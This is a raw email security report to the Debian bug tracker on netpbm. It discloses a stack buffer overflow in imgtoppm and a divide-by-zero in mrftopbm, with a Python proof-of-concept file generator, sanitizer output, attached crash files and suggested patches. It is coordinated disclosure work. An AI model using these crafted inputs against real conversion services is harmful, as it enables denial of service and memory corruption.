[From nobody Sat Jul 25 13:51:08 2026 Received: (at submit) by bugs.debian.org; 16 Jun 2026 21:53:33 +0000 X-Spam-Checker-Version: SpamAssassin 4.0.1-bugs.debian.org_2005_01_02 (2024-03-25) on buxtehude.debian.org X-Spam-Level: X-Spam-Status: No, score=-13.4 required=4.0 tests=BAYES_00, BODY_INCLUDES_PACKAGE,DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU, DKIM_VALID_EF,FREEMAIL_ENVFROM_END_DIGIT,FREEMAIL_FROM,GMAIL, HAS_PACKAGE,HTML_MESSAGE,RCVD_IN_DNSWL_NONE,SPF_HELO_NONE,SPF_PASS autolearn=ham autolearn_force=no version=4.0.1-bugs.debian.org_2005_01_02 X-Spam-Bayes: score:0.0000 Tokens: new, 99; hammy, 150; neutral, 199; spammy, 0. spammytokens: hammytokens:0.000-+--python3, 0.000-+--char*, 0.000-+--ds-2, 0.000-+--cves, 0.000-+--CVEs Return-path: <maramsaiharsha24@gmail.com> Received: from mail-ua1-x930.google.com ([2607:f8b0:4864:20::930]:60914) by buxtehude.debian.org with esmtps (TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_128_GCM:128) (Exim 4.96) (envelope-from <maramsaiharsha24@gmail.com>) id 1wZbiv-00GQu7-2o for submit@bugs.debian.org; Tue, 16 Jun 2026 21:53:33 +0000 Received: by mail-ua1-x930.google.com with SMTP id a1e0cc1a2514c-96392241154so3805377241.1 for <submit@bugs.debian.org>; Tue, 16 Jun 2026 14:53:33 -0700 (PDT) ARC-Seal: i=1; a=rsa-sha256; t=1781646811; cv=none; d=google.com; s=arc-20240605; b=Hw9n3CPsE7eP6BfBRrEjiY5ja/zIyxtNWR5Y7UFeojmeRvteEh8cI3Ydf5JjRBgfbE qqZvUPpsIUeTRr3CDrPqeLHsN2IR0rhAuZYFTFVQ4ldfAOSdX0Xk4UV/vXwDYg4zpn92 Nq+xiT4Vb2TZFaA2bgfAhVh6En4dlrZJ5UPJ043D8q87Jv8l8u+4Oyl4vzePkpL6vM2R /1UIZ/yyhPQWvGrW8BcGUXEQeELJ1wwuWm/N9vcCAsOdYNB8eBWeFwOWZkgUOUEFopCX qEHifRJPoalrBOZ2cejmiBQ1rs7EMuspyBdMUwwLtoZxDlNJLTHmoYXze91mlQwh5DI8 chAg== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605; h=to:subject:message-id:date:from:mime-version:dkim-signature; bh=MNBxtYvgDC6YDAADDcqqWPjXwRVDjgOY1EYoIJjaa7I=; fh=lIR/7veID2U00tj1D35G+ANF85YwqTAbTuNH/WGncTs=; b=XEQt8FGjuZj8zf7m+3HKWtNCxjlQh2zq2q7V+WlNir0ZuovPVgnKbppX7BINXafLZo MZEYQq44spV0eghqo350SHmF+H+lGeK43zImm91kG4ksUvvpbzRV9aIa1tAhK2w6J39t /j/p+eZcPdoip0lDmsH1BdPKs9+HNBTiQHzX2mwYgmwYmA2vnwuY4WIV8ZVnX7uIw2V9 4ppUbPfNEGLblF0fV8ASUtISRfadKlf7mBwztoKNsMaAvj2ayPNGT9jhRoPR8BKg6uwl gxytBAyp17KsPrDhH9K4bVFiEeE71Mpi1Er+zp5wfwno/hN1+vZeLR0F6cCTdXfrxCCf ephA==; darn=bugs.debian.org ARC-Authentication-Results: i=1; mx.google.com; arc=none DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1781646811; x=1782251611; darn=bugs.debian.org; h=to:subject:message-id:date:from:mime-version:from:to:cc:subject :date:message-id:reply-to; bh=MNBxtYvgDC6YDAADDcqqWPjXwRVDjgOY1EYoIJjaa7I=; b=RFaRHprZMyU+h1AwZp+iCSssoR1Q77o7j+vVoHpc2laGw4ygkwCe4q2r/UMQcru16U tl/D4MpPUY0MZNy5UvohX659x+b2/X3iVinzjTEdAztSZQl++t/w4Y4vY9HC6TalCfDF VkXlC93mGSeVFptPKWa7DcCww7jyAieqqOKwc/7xJp/P5mParJcWqxLn1aIpTgmoHzvq 8J1dJBCtj1H4hfAxzj7U4BNBsaThoFwIwZqzzLh+ewfv5IVAOkaZ6MTkSwVt9jyzzE76 zvQzXPNq89HLL3QpyzuZxYIQZrrdJVh/7ZzR8M0QPyohiNV2R5xrGfhqNjytGHOyGXbm +W0g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1781646811; x=1782251611; h=to:subject:message-id:date:from:mime-version:x-gm-gg :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to; bh=MNBxtYvgDC6YDAADDcqqWPjXwRVDjgOY1EYoIJjaa7I=; b=fHIdY+vGevlsNqHummRTOwupdbObesoRMV8dG7gdjhOrF64ZIe/l7U5+AX1wellknh 6yM30El71p/7R6XXmQZHgSnXk14Bj9Wq0JijyYDcckA+Ug1ql0EGk3CgXuzeDXD3TnlB 2S0+cGKMqDQl/3s5uA4PkKtq3PY/2SMFl4B6Md/oED8quHAakP41XRViupeIrkdLSypa IkMXxzBMpNhyVoc+xqS/QnRjijISt1QxXw3ezXS/Jd6RLgd0+yef2nQTqawT7oLWbxnR Vpy547m3fulLiE5c4RSrealZze9qhr6JrIaQBuu4z+NyQTkF+IPL4xiCU9PEkquuXUHA tcFw== X-Gm-Message-State: AOJu0Ywie8ctAcDug88B9SCJNwLGdD9O6SCSk/CVuecRbhAeFofee8Oq CyOXpfSWVmZdLs92FQcH0PaxXDzt2188+bdS3ZK9AUpPT8Qtnz5IA4WUsewWsW+IpHrkqV4ys+F SYHT53UR6B8lRxTrEdncjsaHWoMWszdK3vhfMfI8= X-Gm-Gg: Acq92OG4tiWP82tvq6uNW6GII8MGJ+7XjTa3bmdFiM5brNrokUISagv4Up8uac+fRhX Qbb6BKP2jOZbz9d2p6Z07dN2RlMTcE3PdUkyyzWTzKPateD65pGLq3z+Yu3p4NaEkXMg8dmdJa3 BuWDlxe2+tkjyV4G5xs1htmnXTcvvBYA4z8Zfdgyg+zqglNZ3UFzPEnCZyEKsVO6IOBOwDtsL1M BE3i6Qx/5dOKj1bQo5qW4H4dB1xKHB3KUJRzuzbLYXIc+8N9sNbzuw2ZI0pc1Dv78jsLw0RYLUA e4SUGXlC5lYV9zLbE7vFnDYEaWVZkSmb2l7IdwbAj2PVESYg/ATQ+M3vvF7KCLehScE1cLONbAQ RYiAO2i37vU3S+wqf0J7D9WZt X-Received: by 2002:a05:6102:3906:b0:631:2973:5c2c with SMTP id ada2fe7eead31-7246d1052d1mr821880137.21.1781646811080; Tue, 16 Jun 2026 14:53:31 -0700 (PDT) MIME-Version: 1.0 From: Maram Sai Harsha Vardhan Reddy <maramsaiharsha24@gmail.com> Date: Wed, 17 Jun 2026 03:23:18 +0530 X-Gm-Features: AVVi8Cf7kINdJOU70n_BO_B75Zg9kDdTKGb6q20_a1zMU8d3jYreHnvP5aiid4c Message-ID: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com> Subject: netpbm: stack-based buffer overflow in imgtoppm via unbounded atoi()/fread() chunk length (CWE-121) To: submit@bugs.debian.org Content-Type: multipart/mixed; boundary="0000000000004a61e9065465f99a" Delivered-To: submit@bugs.debian.org --0000000000004a61e9065465f99a Content-Type: multipart/alternative; boundary="0000000000004a61e8065465f998" --0000000000004a61e8065465f998 Content-Type: text/plain; charset="UTF-8" Package: netpbm Version: 2:11.13.03+ds-2 Severity: important Tags: security patch Dear Maintainer, imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow (CWE-121 / CWE-787) reachable from a single untrusted input file, with no authentication or user interaction. Root cause ---------- In converter/ppm/imgtoppm.c, the "AT" and "CM" chunk handlers read an 8-byte ASCII length field, convert it with atoi(), and then fread() that many bytes into a fixed 4096-byte stack buffer, with no check that the length fits the buffer: unsigned char buf[4096]; /* line 35 */ ... buf[8] = '\0'; len = atoi((char*) buf); /* line 63: len up to 99,999,999, not clamped */ if (fread(buf, len, 1, ifP) != 1) /* line 64: writes len bytes into buf[4096] */ pm_error("bad attributes buf"); buf[len] = '\0'; /* line 66: additional OOB write at offset len */ The same pattern is repeated in the "CM" handler (lines 85-86). 'len' is fully attacker-controlled and is never compared against sizeof(buf). The fread() return-value check does not prevent the overflow: glibc fread writes the bytes it reads before returning, so supplying e.g. 6000 bytes overflows the buffer even though fread then returns 0. The signature is not validated, so the vulnerable path is trivially reachable. The Debian 10_netpbm-security-code.patch hardened the multiplication overflow paths in this same file (overflow2(cmaplen,3), overflow2(cols, rows)) but left these length-driven fread() reads unbounded. Proof of concept ---------------- python3 -c ' sig = b"IMG\x00\x00\x00\x00\x00" # 8-byte signature (not validated) tag = b"AT" # attributes chunk length = b"00006000" # atoi() -> 6000, no clamp to 4096 payload= b"A" * 6000 # 6000 bytes -> fread(buf,6000,1) into buf[4096] open("poc_img.img","wb").write(sig+tag+length+payload)' $ imgtoppm poc_img.img > /dev/null *** buffer overflow detected ***: terminated Aborted (exit 134 / SIGABRT) Under AddressSanitizer the underlying out-of-bounds write is confirmed: ==ERROR: AddressSanitizer: stack-buffer-overflow WRITE of size 6000 at 0x... thread T0 #1 main converter/ppm/imgtoppm.c:64 'buf' (line 35) <== Memory access overflows this variable SUMMARY: AddressSanitizer: stack-buffer-overflow converter/ppm/imgtoppm.c:64 in main Impact ------ Any service that runs imgtoppm on untrusted input (image conversion / thumbnailing pipelines using the netpbm toolchain) is affected. On the default hardened Debian build (_FORTIFY_SOURCE + stack canaries) the overflow is detected and the process aborts, i.e. a reliable denial of service; the underlying out-of-bounds write is real (ASan-confirmed) and is more severe on builds without fortify/canaries or via the buf[len] = '\0' arbitrary-offset write. Suggested fix ------------- Clamp the chunk length to the buffer size before reading, in every chunk handler ("AT" and "CM"): len = atoi((char*) buf); if (len >= sizeof(buf)) pm_error("chunk length %u exceeds maximum %u", len, (unsigned) sizeof(buf)); if (fread(buf, len, 1, ifP) != 1) pm_error("bad attributes buf"); This also removes the buf[len] = '\0' out-of-bounds write. Secondary issue (same package, lower severity) ---------------------------------------------- converter/pbm/mrftopbm.c has a reachable divide-by-zero (CWE-369 / SIGFPE). cols/rows are read from the MRF header; w64 = (cols+63)/64. When cols == 0 (or rows == 0), w64/h64 become 0 and the overflow guard divides by them: if (UINT_MAX/w64/64/h64/64 == 0) /* line 169: UINT_MAX/0 -> SIGFPE */ pm_error(...); PoC (13-byte file): "MRF1" + cols=0 (4 BE) + rows=1 (4 BE) + subtype 0x00 $ mrftopbm poc.mrf Floating point exception (exit 136 / SIGFPE) Fix: reject cols == 0 || rows == 0 before computing the guard. Notes ----- No CVE was found tracking the imgtoppm overflow; historical netpbm CVEs cover other tools (giftopnm CVE-2008-0554, xpmtoppm CVE-2009-4274, pnmtopng CVE-2005-2978). Both issues are present and reproducible in the current shipped version 2:11.13.03+ds-2. I am happy to help validate a fix and to coordinate CVE assignment. Regards, Maram Sai Harsha Vardhan Reddy Security Researcher maramsaiharsha24@gmail.com --0000000000004a61e8065465f998 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable <div dir=3D"ltr">Package: netpbm<br>Version: 2:11.13.03+ds-2<br>Severity: i= mportant<br>Tags: security patch<br><br>Dear Maintainer,<br><br>imgtoppm (/= usr/bin/imgtoppm) contains a stack-based buffer overflow<br>(CWE-121 / CWE-= 787) reachable from a single untrusted input file, with no<br>authenticatio= n or user interaction.<br><br>Root cause<br>----------<br>In converter/ppm/= imgtoppm.c, the "AT" and "CM" chunk handlers read an<br= >8-byte ASCII length field, convert it with atoi(), and then fread() that<b= r>many bytes into a fixed 4096-byte stack buffer, with no check that the<br= >length fits the buffer:<br><br>=C2=A0 unsigned char buf[4096]; =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 /* line 35 */<br>=C2=A0 ...<b= r>=C2=A0 buf[8] =3D '\0';<br>=C2=A0 len =3D atoi((char*) buf); =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0/* line 63: len = up to 99,999,999, not clamped */<br>=C2=A0 if (fread(buf, len, 1, ifP) !=3D= 1) =C2=A0 =C2=A0 =C2=A0 =C2=A0 /* line 64: writes len bytes into buf[4096]= */<br>=C2=A0 =C2=A0 =C2=A0 pm_error("bad attributes buf");<br>= =C2=A0 buf[len] =3D '\0'; =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0= =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0/* line 66: additional OOB= write at offset len */<br><br>The same pattern is repeated in the "CM= " handler (lines 85-86). 'len' is<br>fully attacker-controlled= and is never compared against sizeof(buf). The<br>fread() return-value che= ck does not prevent the overflow: glibc fread<br>writes the bytes it reads = before returning, so supplying e.g. 6000 bytes<br>overflows the buffer even= though fread then returns 0. The signature is<br>not validated, so the vul= nerable path is trivially reachable.<br><br>The Debian 10_netpbm-security-c= ode.patch hardened the multiplication<br>overflow paths in this same file (= overflow2(cmaplen,3), overflow2(cols,<br>rows)) but left these length-drive= n fread() reads unbounded.<br><br>Proof of concept<br>----------------<br>= =C2=A0 python3 -c '<br>=C2=A0 sig =C2=A0 =C2=A0=3D b"IMG\x00\x00\x= 00\x00\x00" =C2=A0 # 8-byte signature (not validated)<br>=C2=A0 tag = =C2=A0 =C2=A0=3D b"AT" =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0# attributes chunk<br>=C2= =A0 length =3D b"00006000" =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0# atoi() -> 6000, no clamp to 4096<br>=C2= =A0 payload=3D b"A" * 6000 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 # 6000 bytes -> fread(buf,6000,1) into b= uf[4096]<br>=C2=A0 open("poc_img.img","wb").write(sig+t= ag+length+payload)'<br><br>=C2=A0 $ imgtoppm poc_img.img > /dev/null= <br>=C2=A0 *** buffer overflow detected ***: terminated<br>=C2=A0 Aborted = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0(exit 134 / SIGABRT)<br><br>Under = AddressSanitizer the underlying out-of-bounds write is confirmed:<br><br>= =C2=A0 =3D=3DERROR: AddressSanitizer: stack-buffer-overflow<br>=C2=A0 WRITE= of size 6000 at 0x... thread T0<br>=C2=A0 =C2=A0 =C2=A0 #1 main converter/= ppm/imgtoppm.c:64<br>=C2=A0 'buf' (line 35) <=3D=3D Memory acces= s overflows this variable<br>=C2=A0 SUMMARY: AddressSanitizer: stack-buffer= -overflow converter/ppm/imgtoppm.c:64 in main<br><br>Impact<br>------<br>An= y service that runs imgtoppm on untrusted input (image conversion /<br>thum= bnailing pipelines using the netpbm toolchain) is affected. On the<br>defau= lt hardened Debian build (_FORTIFY_SOURCE + stack canaries) the<br>overflow= is detected and the process aborts, i.e. a reliable denial of<br>service; = the underlying out-of-bounds write is real (ASan-confirmed) and<br>is more = severe on builds without fortify/canaries or via the<br>buf[len] =3D '\= 0' arbitrary-offset write.<br><br>Suggested fix<br>-------------<br>Cla= mp the chunk length to the buffer size before reading, in every chunk<br>ha= ndler ("AT" and "CM"):<br><br>=C2=A0 len =3D atoi((char= *) buf);<br>=C2=A0 if (len >=3D sizeof(buf))<br>=C2=A0 =C2=A0 =C2=A0 pm_= error("chunk length %u exceeds maximum %u",<br>=C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0len, (unsigned) sizeof(buf));<br>=C2= =A0 if (fread(buf, len, 1, ifP) !=3D 1)<br>=C2=A0 =C2=A0 =C2=A0 pm_error(&q= uot;bad attributes buf");<br><br>This also removes the buf[len] =3D &#= 39;\0' out-of-bounds write.<br><br>Secondary issue (same package, lower= severity)<br>----------------------------------------------<br>converter/p= bm/mrftopbm.c has a reachable divide-by-zero (CWE-369 / SIGFPE).<br>cols/ro= ws are read from the MRF header; w64 =3D (cols+63)/64. When cols =3D=3D 0<b= r>(or rows =3D=3D 0), w64/h64 become 0 and the overflow guard divides by th= em:<br><br>=C2=A0 if (UINT_MAX/w64/64/h64/64 =3D=3D 0) =C2=A0 /* line 169: = UINT_MAX/0 -> SIGFPE */<br>=C2=A0 =C2=A0 =C2=A0 pm_error(...);<br><br>Po= C (13-byte file): "MRF1" + cols=3D0 (4 BE) + rows=3D1 (4 BE) + su= btype 0x00<br><br>=C2=A0 $ mrftopbm poc.mrf<br>=C2=A0 Floating point except= ion =C2=A0 (exit 136 / SIGFPE)<br><br>Fix: reject cols =3D=3D 0 || rows =3D= =3D 0 before computing the guard.<br><br>Notes<br>-----<br>No CVE was found= tracking the imgtoppm overflow; historical netpbm CVEs<br>cover other tool= s (giftopnm CVE-2008-0554, xpmtoppm CVE-2009-4274,<br>pnmtopng CVE-2005-297= 8). Both issues are present and reproducible in the<br>current shipped vers= ion 2:11.13.03+ds-2. I am happy to help validate a<br>fix and to coordinate= CVE assignment.<br><br>Regards,<br>Maram Sai Harsha Vardhan Reddy<br>Secur= ity Researcher<br><a href=3D"mailto:maramsaiharsha24@gmail.com">maramsaihar= sha24@gmail.com</a><br></div> --0000000000004a61e8065465f998-- --0000000000004a61e9065465f99a Content-Type: application/octet-stream; name="make_poc.py" Content-Disposition: attachment; filename="make_poc.py" Content-Transfer-Encoding: base64 Content-ID: <f_mqh6fz170> X-Attachment-Id: f_mqh6fz170 IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwojIFBvQyBnZW5lcmF0b3IgZm9yIG5ldHBibSBpbWd0b3Bw bSBzdGFjay1idWZmZXItb3ZlcmZsb3cgKENXRS0xMjEvQ1dFLTc4NykKIyBUZXN0ZWQgYWdhaW5z dCBEZWJpYW4vS2FsaSBuZXRwYm0gMjoxMS4xMy4wMytkcy0yCnNpZyAgICA9IGIiSU1HXHgwMFx4 MDBceDAwXHgwMFx4MDAiICAgIyA4LWJ5dGUgc2lnbmF0dXJlIChOT1QgdmFsaWRhdGVkIGJ5IGlt Z3RvcHBtKQp0YWcgICAgPSBiIkFUIiAgICAgICAgICAgICAgICAgICAgICAgICAgIyAiQVQiIGF0 dHJpYnV0ZXMgY2h1bmsKbGVuZ3RoID0gYiIwMDAwNjAwMCIgICAgICAgICAgICAgICAgICAgICMg OCBBU0NJSSBkaWdpdHMgLT4gYXRvaSgpIC0+IDYwMDAgKG5vIGNsYW1wIHRvIHNpemVvZiBidWY9 NDA5NikKcGF5bG9hZD0gYiJBIiAqIDYwMDAgICAgICAgICAgICAgICAgICAgICAjIDYwMDAgYnl0 ZXMgLT4gZnJlYWQoYnVmLDYwMDAsMSkgaW50byBidWZbNDA5Nl0gPT4gT09CIHdyaXRlCm9wZW4o InBvY19pbWcuaW1nIiwid2IiKS53cml0ZShzaWcrdGFnK2xlbmd0aCtwYXlsb2FkKQpwcmludCgi d3JvdGUgcG9jX2ltZy5pbWc6IiwgOCsyKzgrNjAwMCwgImJ5dGVzIikK --0000000000004a61e9065465f99a Content-Type: application/octet-stream; name="poc_mrftopbm_divzero.mrf" Content-Disposition: attachment; filename="poc_mrftopbm_divzero.mrf" Content-Transfer-Encoding: base64 Content-ID: <f_mqh6fz242> X-Attachment-Id: f_mqh6fz242 TVJGMQAAAAAAAAABAA== --0000000000004a61e9065465f99a-- ]